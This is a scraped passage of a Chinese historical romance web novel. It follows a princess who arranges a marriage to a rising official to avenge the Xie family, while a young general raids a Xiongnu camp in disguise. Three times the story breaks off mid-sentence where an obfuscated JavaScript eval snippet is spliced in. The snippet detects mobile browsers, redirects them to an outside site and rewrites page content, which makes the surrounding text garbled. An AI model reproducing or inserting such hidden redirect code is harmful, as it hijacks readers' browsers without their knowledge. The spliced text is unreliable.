温热的暖意缓和了刺痛,岑篱缓缓地呼了几口气,总算放松下.身体。 拾春声音隐隐哽咽,“郡主,您这又是何必呢?那苏温知也不过一介郎官罢了,您便是真要他做什么,直接吩咐便是。” 岑篱:“有求于人,便要有求人的态度。” 拾春:“……可、可……”您又为何要求人呢? 纳采都未走过,说到底是个不相干的人,郡主大可以放手不管。 “好了,”岑篱打断她的话,抬手往下示意,“太官丞这院子榴花开得确实好,若是不好好看看,岂不是白来这一趟。” …… 这一场宴会便这么有惊无险地过去了。 回程路上,谢兰君主动开口,“岑姐姐走后,我在宴上遇见些熟人,也聊了几句。李奾有点奇怪。” 见岑篱目露疑惑,谢兰君解释,“李校尉家庶女,我与她姐姐更熟悉些,李家阿姊为人温善,平素对我颇多照料。但李奾——”谢兰君神色有些尴尬,明显不想背后道人长短,但还是,“每次遇到,她多半都会想些刻意刁难的法子,这次却突然转了性,非但没与我为难,还对我的近况多有关切之意。” 岑篱:“屯骑校尉?” “倒也不一定是李校尉。”谢兰君支吾了一下,“她、她……曾同鲁王世子出入街市。举止亲密,我确实碰见过。以往言谈间,她也透出些端倪,像是笃信自己日后必定嫁入高门。” 岑篱沉思。 屯骑校尉和鲁王世子啊。 鲁王早年便赴封地,留下世子在京为质,和这京中朝堂没什么关联,反倒是这屯骑校尉…… 屯骑校尉李舂,曾在已故的谢侯谢叡成手下任职,因错受惩处,险些被逐出军中。多亏栾都侯石审一力保全,才得以继任军中,后又因种种因缘际会,做了这屯骑校尉。 * 承明殿。 苏之仪将竹简分门别类,呈上御前。 因他已经提前看了一遍,对正崇帝会做出的反应早有预料,故而在帝王抬袖横扫,将那侧的竹简扫落案几之下的时候,他甚至来得及将笔搁置在一旁的笔架上,这才从容起身,和一旁惶惶然的近侍一同跪于地上。 “岂有此理!!!” 旁边侍立的赵吉噗通一声跪下,膝行上前,连连叩首劝慰道:“陛下息怒,陛下息怒。” 还不忘眼神往后面一瞥,指使着旁边的近侍赶紧把地上的竹简收拾好。 “息怒?他栾都侯好大的威风啊!连手下的门客都能肆意杀害胥吏毫无惩处。义举?好一个义举!那他下一步是不是该杀朕了以示道义了?” 这话一出,底下的宦官全都白了脸,连赵吉都不敢在此时触霉头,老老实实闭了嘴。 宽阔的宫殿之内,一时之间落针可闻。 好一会儿,还是正崇帝先一步冷静下来。 他嗤一声,看向那被重新捡回来的竹简,拂袖坐下,朱笔蘸着丹砂,笔势冷厉地写下御批:杀! 天子脚下,却有如此枉顾王法之人,该杀无赦!! 可杀一个门客又有何用?这案子既然这么判下来了,栾都侯在京中的影响可见一般。死一个门客,还是死于“义举”,恐怕还有不少人替他叫屈呢。他栾都侯豢养士人、名声在身,反倒是他这个皇帝倒成了不通情理、背负骂名的罪人了。 帝王携怒,整个宫殿都敛气屏声,反倒显出一旁泰然安坐的苏之仪。 正崇帝瞥过去一眼:“温知怎么看?” “臣以为,栾都侯果真是高义之人。” 赵吉本来还指望着这位苏郎官能劝劝陛下,不料听了这么一句话,一时之间脸都绿了,在后面杀鸡抹脖子地冲着苏之仪使眼色。 正崇帝却只是皱了下眉,并不见怒色,“怎么说?” 苏之仪:“臣听闻,昔年栾都侯与谢氏多有嫌隙,谢公曾当堂斥其为‘犬彘之徒、诡诈营私,羞与之为伍’。如今谢家蒙难,栾都侯却不计前嫌为之求情,此难道不为道义?” 正崇帝果真深思。 石奋是个什么样的人,他还是有所了解的。 虽说广邀门客经营了一个好名声,但谈起为人来,却只是一个虚名之徒。谢叡成骂的这些话,不说直指要害,但也相去不远。这么一个睚眦必报、斤斤计较的小人,说他不计前嫌以德报怨,正崇帝还真的不太相信。 片刻思索之后,他倏地开口问:“这次带兵的丁攀,曾是栾都侯旧部?” 苏之仪:“是。” 正崇帝却想起了前线战报。 他到不至于关心谢定一个小辈的安危,但若这丁攀真是栾都侯的人,遭逢战事不利,将罪责推到谢家身上却有可能。 “传朕旨意,派一队信使去前线。探得战事如何,回来给朕禀明情况。” …… 前线情况如何还未可知,谢家却暂时解了围。 岑篱也松了口气,在家中好好养了几日的伤,但还没休息多久,宫中就传来消息,说是徐夫人想要见她。 这消息送过来时,岑篱还在整理手边的竹简。一时失神,不慎被竹片上的尖刺戳伤了手指,鲜血从指尖溢出,岑篱却看着那刺目的红色发起了呆。 “郡主?” 被拾春这么一唤,岑篱才回神,她随手拿着帕子压住了伤口,“没什么,这竹简削得不平。” 她只是猜到了此番为何。 徐夫人在这个时候让她入宫,还能有什么别的事呢?只能是她的婚事了。 ——她自己求的婚事。 * 入宫拜见,岑篱不知道自己该不该松口气,正崇帝并未允下这婚事。 “这事虽然作罢,但你也到了年岁,总该许一门亲事。”徐夫人看着岑篱,“你大父将这事交予我,但我知道你打小就是个有主见的,所以才来问问你,可有中意的郎君?” 岑篱默然。 中意的郎君啊…… 少年打马而过、肆意张扬的面容在眼前闪过。 但这片刻怔然之后,岑篱听见自己缓声,“夫人容禀,这满朝公卿者众,能得大父另眼相待的能有几人?况且在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111994|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此年岁,可担得上一句少年英才也不为过。阿篱并非率性妄为,只是信大父的识人之能——” “哈哈哈好!”话未说完,被外面一声大笑打断,正崇帝阔步而来,眉眼舒展,显然极为快意,“好一个识人之能!” “陛下?!” “儿拜见大父。” 正崇帝摆了摆手,示意人起来,笑着调侃,“如此说来,阳嘉这婚事是好是坏,可要赖朕的眼光了。” 岑篱敛眸垂首:“大父慧眼,自是天下间独一份的。” 正崇帝显然被这句话捧得极舒服,又是一阵朗声大笑,“如此说来,若是这苏温知日后不能给你挣个侯夫人,倒是朕的不是了。” 听着这正崇帝真有三言两语间敲定婚事的意思,一旁的徐夫人反倒是急了。 她暗地里拉了岑篱一下,扬起笑来,嗔道,“陛下倒是急甚,这儿女之事又非朝政,哪有这般就定下的?八字未合、相看未过,若是真有个什么不合适,您这金口玉言一出,让阳嘉如何处之?” 被这般半是数落地说了一通,正崇帝也没恼,反而笑着点头应和:“是、是,你说得有理,该让太卜令来一趟。” 大抵心情极为不错,正崇帝久违地在平乐宫用了晚膳,但却没有留宿。 待到御驾离宫,徐夫人也屏退了众人,对着岑篱,正色:“你如何想的?当真要嫁予那苏温知?” 岑篱:“这些年,大父待勋贵的态度,夫人也心如明镜,如今的功勋之家便如那经年的宫室,虽外面看起来壮美华丽,但其梁柱却已千疮百孔,我便是嫁过去,也是以身入危局之中。既然如此,我何不为自己搏一把前程呢?” 徐夫人定定地看了岑篱一会儿,直到把岑篱脸上的笑都看得勉强起来,才轻声问,“你当真这么想?” 岑篱一时未答。 她略微僵硬地别开了视线。 徐夫人轻叹:“我也是从你这个年纪走过来的,最知道你们是怎么想的。可是阳嘉,人这一辈子是很长的,如今再怎么浓烈的感情,待到多年之后回首再看,也不过哂然一笑……我不希望你仓促决定,以至于自己悔恨终生。” 岑篱垂眸看着一侧的地砖缝隙。 良久,她才涩着声,“如夫人所说的,这辈子很长,阿篱却不想后半生每每想起此刻,便悔不当初。” 那人心心念念重振谢家。 她不想他回京以后,却发现自己宗族既没、早就没了归处。 上首传来一声悠长的叹息。 年长者的声音温柔又宽和,“如方才你大父所言,此事还需太仆令合算八字、推演吉日,你回去好好想想罢。” …… 好好想想,但又有什么好想的呢? 徐夫人大抵是有意帮忙拖着日子,岑篱对此也报以默许之态。 可是在当真想出个所以然之前,正崇帝遣去的信使却先一步探明了前线大军消息:洮中都尉因不满军中安排,延误军令、拖延运送粮草军械的时机,以至于谢定带的三千余人在茫茫大漠中失去后援,遭匈奴围剿。 杯盏坠.落,果浆泼了一地,浅紫的浆液蜿蜒流淌,宛若渗开的鲜血。 那人一贯的有急智又不肯吃亏,便是传来怎样的坏消息,她都信他不会出事。 可茫茫大漠,连后援也无,匈奴大军围剿之下,他又要怎么活下来? 5. 第 5 章 长安城,西市。 街市上商贩来往叫卖,酒肆的旗帜迎风招展,食客们来往进出,有普通百姓、有佩剑游侠,苏之仪还看见了几个太学学子。从这二楼往下看,西市繁华之景尽收眼底。 虽没想到会被约见到此处,苏之仪还是收敛心神,告知了今日朝上之事,“洮中都尉不遵军令,自当以军法处置。征北将军治军不严,以致军中出如此祸乱,陛下已经严令斥责……但临阵换将乃是大忌,陛下便是心中不满,也只能大军回朝再行处置。” 岑篱问:“那栾都侯呢?” 苏之仪沉默了片刻,“栾都侯得知消息后,亦大为恼怒,当廷斥责洮中都尉枉顾军中法纪,愧为石家族人,力求陛下从重惩处。如此大义灭亲之举,陛下不好苛责。” 岑篱:“……” 那便是毫无处罚了。 违反军纪、违抗军令当然该死。但洮中都尉与谢氏又无宿怨,无缘无故,为何故意拖延军粮?他又凭什么有恃无恐,视军令为无物?手下人抗命不遵,那征北将军为何宁可担战事不力之责,也为之刻意隐瞒? 没有人也没有办法去深究,于是这件事就这么过去了。 石家枝繁叶茂,不痛不痒地死一个族人,于栾都侯而言什么都算不上。 岑篱听见自己涩着声开口,“苏郎官怎么看?” 苏之仪:“栾都侯依仗功劳肆意行事,族人骄横不法,连门下家奴都仗势欺人,陛下为此深感恼怒,只叹其身负旧日功劳又朝中遍布姻亲,陛下不好贸然处置。之仪既为人臣,必定要为陛下解忧——赴汤蹈火、在所不辞。” 说到最后,他神色肃然,温润俊雅的面孔上透出些凌厉的杀机来。 岑篱并不意外。 早从对方在承明殿前主动搭话那一次,岑篱就知道这人绝对不可能是表现出来的那样的翩翩君子了,再怎么谦和有礼,也遮不住眼底的勃勃野心。 不过这样也好。 有所求的总比没所求来的好,恰巧她身上有对方想要交换的东西。 岑篱深深地看向眼前的人,“记得你今天说的话。” 既然苏之仪想要往上偏,那便给他身份又如何。 …… 岑篱当天便入了宫拜见徐夫人,例行的寒暄后,她开门见山地,“求夫人为阿篱主持婚事……越快越好。” “你当真想好了?” “是。求夫人成全。” …… 岑篱不知道自己怎么过完的这一日,从宫中出来,便浑浑噩噩地坐在马车上,漫无目的地放空着思绪。 好一会儿,听见前面的拾春道:“这不是谢小娘子吗?怎么在这站着?” 岑篱忙撩开车帘看去,远远就看见府邸门口失魂落魄地站了一个人。 少女大概是得知消息后,匆忙从家里跑出来的,连绑着袖子的襻膊都没摘下来,这会儿正立在府邸门前,既没有上前也没后退,只直直地杵着发呆。 拾春:“我这就让人……郡主?!” 原来她话没说完,岑篱已经从还在行驶中的马车上跳了下去。 岑篱将婢女的惊呼抛在身后,快步跑过去,抬手将人拥在怀里,轻轻拍抚着后背。 像是抱着谢兰君,又好似抱住了她自己。 快六月的天气,已经快要入暑了,可谢兰君的身上却凉得惊人。兴许是一路跑来的急汗,她后背衣衫都湿了透,但手摸上去却只得到一片渗人的凉意。 这样骤热骤冷最容易生病,岑篱艰难地牵回一点理智,想要解下披帛盖在对方身上。 只是她刚有动作,却被抓住了手,谢兰君声音低弱地:“岑姐姐。” 岑篱一直很冷静,从接到消息那一刻到现在。可不知为何,这低低的一声轻唤却让她眼眶一酸,几乎落下泪来。 她仓促地别开脸去,缓了下才轻声,“你放心,我……我会让他们付出代价的。” 抓着她的那只手又收紧了一点。 岑篱还待再说点什么安慰,却听见一句声音更轻的,“嫂嫂。” 骤来的泪意猝不及防,在岑篱意识到以前,湿痕便在脸上蔓延。先是温热的触感,紧接着又被风吹过,泛起阵阵凉意,岑篱还是慢了半拍才意识到那是什么。 她抬着袖子草草地压过面颊上的痕迹,轻声应诺:“无论如何,你一直是我妹妹。” * 匈奴逐水草而居,但各个部落也有自己的领地划分。 当一队陌生的匈奴人越过界限,到了左谷蠡王所在时,几乎立刻引起了里面的人警惕,外围的骑兵拉满弓弦,以匈奴话大声申斥着后退。 那队人马果然没有再上前了,只不过却又一骑驱马向前。 马上的人披发左衽,凌乱的胡须遮挡了大半面容,祼露在外的皮肤又被污渍遮蔽,让人几乎看不出他的长相。他一手扯着马缰一手空空抬起,示意自己没有敌意,在对面骑兵箭锋指示下,走到了领头人之前,以一口流畅的匈奴语飞快解释着什么。 那骑兵首领将信将疑地看着他,又看了看后面的队伍,果然人丁零落,又带着一点零星的牛羊,像是部落流亡时只来得及带青壮杀出的样子。 他扔下一句“等着”,然后飞马向王帐跑去报信了。 于是,不多一会儿,王帐内的左谷蠡王便得知了消息。 浑邪部王子率领的残部到来,请求归降庇护。 原来那浑邪部前些时日遭了一队齐军的袭击,虽取得胜利但族中勇士也因此伤势惨重,旁边的须卜氏非但没有施以援手,反倒是趁此机会袭击了浑邪部,大肆劫掠。浑邪部刚刚经历了元气大伤的一战,只能毫无反抗之力地任其宰割,连部落首领都丧命于此。 浑邪部王子向左贤王求主持公道却不得,这才辗转而来,欲向右贤王麾下的左谷蠡王效忠。 这左谷蠡王巴赤台闻言大喜。 匈奴以单于为首领,单于之下又有左右两贤王。其中又左为尊,左贤王乃是单于默认的继承人。可既然都是单于的兄弟,巴赤台效忠的右贤王也有一争之心。只恨左贤王这些年占据漠南水草丰美之地,又常年去齐人地盘上劫掠,这些年养得越发膘肥马壮,日子过得别说多滋润了。 好在那合撒尔为人刚愎自大,劫掠所得尽归己用,对麾下部落多有苛待,部落之中颇有怨恨之声,右贤王趁此机会收买人心,巴赤台也非第一次替主上接纳效忠部落。 他正打算出门相迎,一旁的且渠却有疑虑,“大王且慢。这浑邪部毕竟不是先前的小部落,便是到大单于面前也可求个公道,如今阖部来投,只恐其中有诈。” 正兴奋之际,被人兜头交了一盆冷水,巴赤台不由面露不耐之色,“有诈有诈?哪有那么多的诈?!我看你是跟王帐下的那个齐人相国学傻了。须卜氏是单于的阏氏出身部族,那浑邪王死在他们手上,留下的王子怕不是早被吓破胆子了,哪敢去找大单于理论?” 巴赤台虽然这么说着,但到底被且渠提醒了。 在出帐之前下令,命浑邪部部众停留在外,只准浑邪王子及其亲随入内。 那浑邪部为求归附,自然无有不允。 于是,不多一会儿,一行十余骑步入了巴赤台的营地。打头年轻人穿着轻薄的皮革短襦,散落的长发以金属固定,虽然装扮如此,但远远看去,长相却颇类齐人。 巴赤台并不意外,浑邪部地处南部,常年在齐国劫掠,部落内的孩子很多混血。 虽说如此,以一个混血为继承人却也是少见,他只是心底嗤了一句那浑邪王果真是耽于酒色,怪不得死在须卜氏手上,但面上却丝毫不显,满面热情地迎上来,不忘大声招呼着:“备酒杀羊!今日.我与贤侄不醉不归!!” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111995|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然是以匈奴话说的这句。 对面那年轻人似乎大为感动,立刻翻身下马,快步走上前来。 巴赤台亦是大笑着前去接迎,但敞开的怀抱迎来的却是一道寒光。 巴赤台甚至没反应过来那是什么,只觉得脖颈上一阵凉意。眼前所见后知后觉映入脑中,原是对方在上前的间隙抽出的腰间的弯刀。 巴赤台认得那刀柄上的纹路,确确实实是浑邪部的图腾,但是这个人…… 喷溅的鲜血让思绪变得模糊,他已经无力去解开这骤然升腾的疑惑,只是在身体往后跌去的后仰中,看到了年轻人翻身上马。 那人高高举起那染血的弯刀,却未有言语。 反倒是后方随他同来的人以匈奴话大喊道:“巴赤台不遵单于号令,左贤王命浑邪部前来讨伐,缴械不杀——” 意识彻底沉入黑暗的前一刻,巴赤台脑中突然闪过一道灵光。 匈奴话! 这人根本不会说匈奴话!他们是…… 只可惜,他再也没有机会向部众告知自己的发现了。 火光点燃了一旁的主帐,搅乱了大营的同时,也成了向外面传递的信号,厮杀声从外侧包围而来,刚才还筹备着宴请的营地转瞬变成了一片血色。 * 长安,平乐宫。 上衣为玄,下裳是浅绛色。 其上的凤鸟和云纹皆以经纬交织而成,其中掺杂的金线让布料在光下隐隐显出的赤金的光泽,华贵却又不失庄重。 这是一套嫁衣,远超郡主的规制嫁衣。 是岑篱的亡母楚元公主留给她的。 正崇帝早年子嗣单薄,很长一段时间内,后宫仅有楚元公主这一个女儿。对这么一个独女,他自然是极尽宠爱、封赏有加,连岑篱这个非诸侯王女的外孙女都被破格封为郡主。如今楚元公主已逝,这恩宠便自然而然地落在岑篱身上,一应待遇都比照着公主而来,如今的出嫁更是如此。 发冠亦不同寻常。与庄重的曲裾深衣不同,发间的金步摇以鸟雀花朵为形、东珠为饰,极尽奢靡华贵。 但岑篱此刻能感知到的只有沉重。 一层一层的布料裹在身上,像是要将人裹缠其中,呼吸都变得艰难起来。岑篱简直是用进来全身的力气,才保持着一动不动的姿势,任由宫人们妆点鬓发、整理裙裾。 有条不紊的进展突然被一声惊呼打断,身后正整理着裙裾的宫人噗通一声跪下。 不消片刻,除了端着盥洗用具不便动作的宫人,那边跪成了一片。 岑篱还不知道发生了什么,就听最先跪倒的那宫人颤着声磕绊地,“禀夫人、禀郡主,这、这……这裙裾本就如此,非、非婢所为!!” 原来那裙裾上的布料有一小段抽了丝,殿内烛火的映衬下,能明显看出比旁边薄了不少。 毕竟经年久放,再怎么精细保养,也免不了有些许缺损。 徐夫人是个宽厚人,这般情况怎么看也并非那宫人损伤的,只摆了摆手叫人起了,又转而对岑篱,“再过几月蜀地便贡上新的锦缎,这嫁衣本来也要再贴着你的身形再裁剪一遍,到时让西织留心点,也把这块布片一块儿换了。” “不必。”岑篱却摇头拒绝,“待贡使入京还要数月之久,何必为此耽误了日程?让绣娘缀补上此处便罢了。” 徐夫人怔然,“耽误?” 虽然如今还未卜定吉日,但这京中哪位贵女出嫁,从纳采到亲迎不得从大半年的光景。岑篱更是正崇帝首肯下来公主规制,等到六礼齐备,准备个一两年都合情合理。 岑篱抬头看向徐夫人,抿了抿唇,低声:“儿已经恳求过大父。如今边关战事不明,儿怎敢以个人私事靡费至此,当一切从简,越快越好。” 徐夫人:“……” “唉~” 这哪里像是成婚啊。 6. 第 6 章 谢定带着人乔装入了匈奴人营地,杀了左谷蠡王部一个措手不及。头领既死,这场骤然的战役也不过小半个时辰就被平息下来。 等到一切安定下来,谢定率先步入王帐之中。 王帐因为先前的火被烧了大半,但还能隐隐看出里面原本华靡的装饰,几个贵族身份的俘虏被绑缚着驱赶到王帐的一角,谢定也半点儿不客气地坐上了座首匈奴王座,身下坐着兽皮,旁边就是狼首,配上那一身匈奴人打扮,乍一看上去还真像是匈奴内部的部落混战带来的首领更替。 韩培拎着硝制好的巴赤台人头进来的时候,就看见谢定斜支着一条腿,悠哉地靠在那匈奴王位上,手里还捞着块不知道什么材质的宝石一抛一接的。 韩培:“……” 手突然有点痒,想拔刀。 他在这儿又是砍人头又是硝制的,全是脏活累活。这人可倒好,在这儿耍威风呢? 韩培拎着的人头旁边一放,那双死不瞑目的眼睛正对着角落里的几个匈奴贵族,几人当即一个哆嗦,越发向角落里蜷去。 谢定却恍若未觉,主动招呼着,“元修,快来看看,这匈奴王藏了不少好东西,家底可比那浑邪部厚多了!” 竟把堂堂左谷蠡王部和一个匈奴边缘小族相比! 被绑的那且渠听得懂齐话,这会儿听谢定如此言语,不免面上露出点。但思绪刚刚转过,就觉上首似有若无瞥过来一道目光,他心底一惊,忙不迭地低下了头。 谢定好像只是随意一瞥,目光粗略从那些俘虏身上略过,又转向韩培,颇不见外地招呼着,“快过来挑。” 虽说战利品要登记在册,但那也多是军资粮草等物,像是这种匈奴首领个人收藏多半归于主将所有。谢定这一副分赃的架势颇有些难评,但不得不说,韩培还得谢他一句大方。 韩培刚这么想着,就见谢定已经浑不在意地手里的盒子往地上一扣,只听“哗啦”的一声,那左谷蠡王不知道多少年攒下的珍藏被垃圾似的倒了一地,一颗比鸽子蛋还大的红宝石咕噜噜地滚到了韩培的脚下。 韩培:“……”大方个鬼啊!是看不上吧? 他默然了片刻,还是俯下.身去把这宝石捡起,往前走了两步,扔到那一堆珠宝堆里。 谢定倒是笑了,“怎么?这还看不上?” 听出了谢定语气中隐含的跃跃欲试,韩培不得不开口:“差不多行了,浑邪部不够,一个左谷蠡王总够了吧?别告诉我你打算这么杀到匈奴王庭去?” 谢定抛掷着宝石的动作一顿。 他单手在空中一横,握住了那颗落下来的宝石,手肘撑在膝上,抬头向上,灼灼的眸子中满溢着桀骜的笑意,“为什么不?” 且渠缩在俘虏群之中,险险压住了到喉咙的惊呼。 他怎么敢的?! 就连韩培也好半晌没说出话来。 他“你你、你”了半天,最后也只能压低了声音,低斥道:“别胡闹了!就这么点人,你真以为能在匈奴肆意往来?这一次是攻其不意,但事到如今,浑邪部出事的消息也该传开了,你还真当那匈奴单于是个傻的,就在原地任由你宰割?” 且渠隐隐觉得自己这边仿佛被骂了,但抬头就对上巴赤台那颗怒目圆睁的脑袋,他背心一凉,不由地又把头埋得低了点。 谢定却道:“浑邪部出事的消息传开了,那这左谷蠡部吗?” 韩培:“你!” ……这人来真的?! 韩培尚且还没想好到底该说点什么劝阻,那边谢定已经悠然走下王座。 他直直向着俘虏群中走去,在那一众挪动着躲避的匈奴贵族中,精准地找到了那个听得懂齐话的且渠。 弯刀出鞘,且渠眼见着浑邪部的图腾被这齐人的手握在掌心,刀身上带着点斑驳,似乎是没擦净的巴赤台的血,而那雪亮的刀锋已经抵住了他的脖颈。 年轻人开口了,他的声线清亮,但落入此刻的且渠耳中,却宛若锁魂恶鬼,“给我说说匈奴王帐里的事……别装傻,我知道你能听懂。” * 如今这长安城中,最炽手可热的可谓是新任的廷尉了。 栾都侯幼子石光庆行事不端,被苏之仪上告御前。石家欲以金银赎买,但苏之仪罗列种种罪状,其中之一便是那石光庆放任家仆抢夺田地,居然侵占了高祖陵寝。大不敬之罪,罪无可恕,石光庆当即被缉拿下狱。 苏之仪亦因此事被正崇帝盛赞为“刚直守正,不避强御”,从一介郎官跃升九卿之一的廷尉,可谓是踩着石家的血登上了朝堂。 …… 廷尉狱。 能进这个大狱的多半是有身份的人,牢狱内的布置都与一般不同,狱卒待人亦颇为客气。毕竟关押与此的人非富即贵,保不齐什么时候便出狱起复,他们犯不着为此得罪人。 而能出入其中,探望囚徒的更不是一般人。 狱卒躬着身恭恭敬敬地往前引路,“侯爷,这边请。” 栾都侯一拱手,“有劳。” 他身后的青年虚扶了一把,小声地提醒了一句“爹,小心”,又摸出一把赏钱扔给狱卒。 他这随手一扔,那狱卒还是趔趄了下才接住,面上却喜笑颜开地连连作揖:“谢侯爷赏,谢石郎君赏。” 栾都侯点点头,青年已然满脸不耐地,“行了。出去等着吧!” 狱卒似是犹豫了片刻,“这……” 青年神色一厉,狱卒连忙弯下了腰,“是,小的这就出去。” 只是走之前,还是在门口的香炉里插了根香,犹豫着:“侯爷容禀,这廷尉狱的规矩……” 石茂通当即面露恼色:“你是个什么东西?!竟敢——” “哎~”栾都侯抬了抬手,制止了儿子喝骂,又对着那狱卒微微致意,“规矩不可破,劳阁下告知了。” 狱卒连连道着“不敢”,谨小慎微地躬着身退到了外面去。 但等到狱门一关,他当即换了一副表情,狠狠地往旁边一啐,小声喝骂着,“我是什么东西?是你爷爷!” 又低头看了眼手里被掰下来小半截的香,他“哎嘿”一下笑出声。 关里面那玩意儿这几日给他找了多少麻烦?指望他好好招待,想什么美事呢?只克扣点时辰,算他爷爷心慈手软了。 * 而牢狱内,石茂通也颇有不满,“不过是一个小小狱卒,拿着鸡毛当令箭,倒在爹面前逞起了威风了?也不看看,便是前一任廷尉,到了爹面前也只有跪下行礼的份!” 栾都侯却只是看着儿子。 待静静地等他说完,才冷淡地,“你也说了,是前一任廷尉。” 石茂通一愣。 栾都侯牵起一抹半是嘲讽的笑,“当今这廷尉可是被陛下亲赞的‘刚直守正’,咱们不得避着点?” 石茂通一懵,“那弟弟?” 难不成真的要把亲弟弟搭进去? 栾都侯摆手,“先进去看看。” …… 栾都侯父子走进来的时候,石光庆正缩在牢房的一角,嘴中嘀嘀咕咕不知道在默念什么。 听到门口的动静,他整个人都是一蜷。 这下意识反应,莫说栾都侯了,便是石茂通这个为人兄长都看得心里一酸,他低声唤着了一声弟弟的小字,“正明。” 石光庆这才抬起头来,他神情恍惚、眼神浑浊,隔了一会儿方才辨认出外面的人。 认出的那一刻,他那双浑浊的眼中仿佛放了光,当即手脚并用地往外爬过来。 “咣啷”一声,他直直地撞到监牢门上,发出好大一声响。 可他却恍然未觉,伸着手往外面抓住,“爹、大兄,你们来救我了!快带我走!这鬼地方就不是人住的,它@#¥%……” 石光庆语无伦次的诉着苦,石茂通这个当兄长不由面露疼惜。 看小儿如此,栾都侯眼底也闪过不忍,可只片刻,他便肃容斥责,“你肆行不法,连高祖陵寝之地都敢侵占,让为父怎么保你?!” 石光庆哭诉的声音一滞,不敢置信地抬头看向栾都侯,不知自己怎么会得到这么一个回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111996|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栾都侯:“如此大不敬之罪,让为父有何颜面面对先祖,你当好自为之。” 石茂通:“爹?!” 石光庆懵住了,他像是不明白为何会变成这样,跪在地上使劲往前伸着手,尝试着去扯着父亲的衣角,撕心裂肺地,“不是我!我、我不知道……我没有。是那万老三,我让他拿下那块地,他擅自做主!我不知道啊!” 栾都侯厉声,“好好想清楚,真的是你让那万老三拿的地?” 石光庆被喝得一抖,“是、是……但我又……不知道……”对上亲爹那刀子似的逼视过来的目光,石光庆一个激灵,总算回过神来,立刻改口道,“不是我!是万三擅作主张,打着我的名头行事。爹,我冤枉啊!我真的冤枉啊!都是那刁奴害我!” …… 一炷香的时间转瞬即过,况且被狱卒刻意克扣过。 不多一会儿,栾都侯父子便被狱卒提醒了时辰。 二人从廷尉狱中出来,石茂通低声,“那万三的老母妻儿都在咱家手上,他不敢多说什么。咱们这就押着人去找长安令?” 栾都侯却抬手往下轻压,比了个稍安勿躁的手势,“不急。” 石茂通怎能不急? “庆弟他何曾吃个这个苦?!” “那就好好吃一吃。”栾都侯脸色冷下,“到秋日还有几个月呢,该让他长长记性了!不吃足了教训,早晚让他闯出真的祸事来。” 见父亲如此,石茂通也只能止了声。 而那边,静默片刻,栾都侯脸上露出点冷嘲的讥笑来,“且放着等一等,咱们陛下想用‘刚直’之人,只盼着这人够得用。” 这刀子太硬,可容易折了刃。 * 郡主府。 “苏氏之仪今聘岑氏,纳征:玄纁二匹,金五斤,帛二十匹,雁二只……” 中庭使者宣读着礼单的声音传到内院,拾春看着岑篱那久久未动的竹简,低声提醒:“郡主?” 岑篱这才回神,“今日是纳征啊。回礼准备了吗?” 拾春低声应道:“早已备好了。前几日那件衣裳,郡主还加了一针。” 各方都有意之下,这婚事进展极快,眨眼间便到了纳征这一步。 纳征之日,男方送聘礼前来,女子当赠予回礼以表心意。既然是为表心意,这回礼多半是亲手做的衣裳香囊等物,只不过京中贵女也不是人人擅作女红,岑篱也算是各种极甚。 但不管怎样,既然亲自拿过针线,便算是做了。 一些恍惚的旧日记忆浮现,似乎有人揪着这事调侃不放,那气恼的心情浮现,这会儿想起却忍不住笑意。然而唇角弧度还未挂上,转瞬却又是酸楚在心口翻涌。 岑篱卷着竹简抵了下额头,掩饰似的,“看我,倒是忘了。” 拾春:“郡主……” 筹备婚事这几日,岑篱肉眼可见地心不在焉。 岑篱却没等她说完,径自打断道:“宴席怎样了?这场合我不便露面,我也交代过张卢了,婚期的日子就近定了便是,不必等什么大吉。” 拾春欲言又止,最后也只讷讷应了声:“张管事已经在张罗了,婢这就去看。” …… 只是这宴席开席不多久,岑府的管事便拜见了过来,“郡主,那苏家的使者求见,说还有一项聘礼,得亲自送到您手上。” “哦?” 岑篱虽觉意外,但还是应邀去了。 使者毕恭毕敬地送来的,是一册以封泥覆盖的竹简。 岑篱展开来看,简上的墨字逐一映入眼中,看着上面的温润不失筋骨的字迹,岑篱怔然良久,低低笑出了声。 “这苏郎官……不,苏廷尉……可还真是个妙人。” 这竹简上,一条条、一列列,清楚写了石光庆的罪名,最后是廷尉府的判决:秋后问斩。 快意吗? 似乎并没有,心底一片空荡荡的无着落感。 岑篱终是解下了腰间的同心白玉,抬手推了过去,“代我谢谢苏廷尉。” 7.第 7 章 “她怎么说?” 去纳征的使者抬手呈上玉佩,“郡主让属下转至谢意。” ……谢意啊。 苏之仪略微敛下的神色,但片刻之后,还是重新挂上了笑意,“好,我知道了,你下去吧。” 使者:“敢问主家,这纳征的回礼?” 苏之仪只是平淡地摆了下手,“放到库房里去吧。” 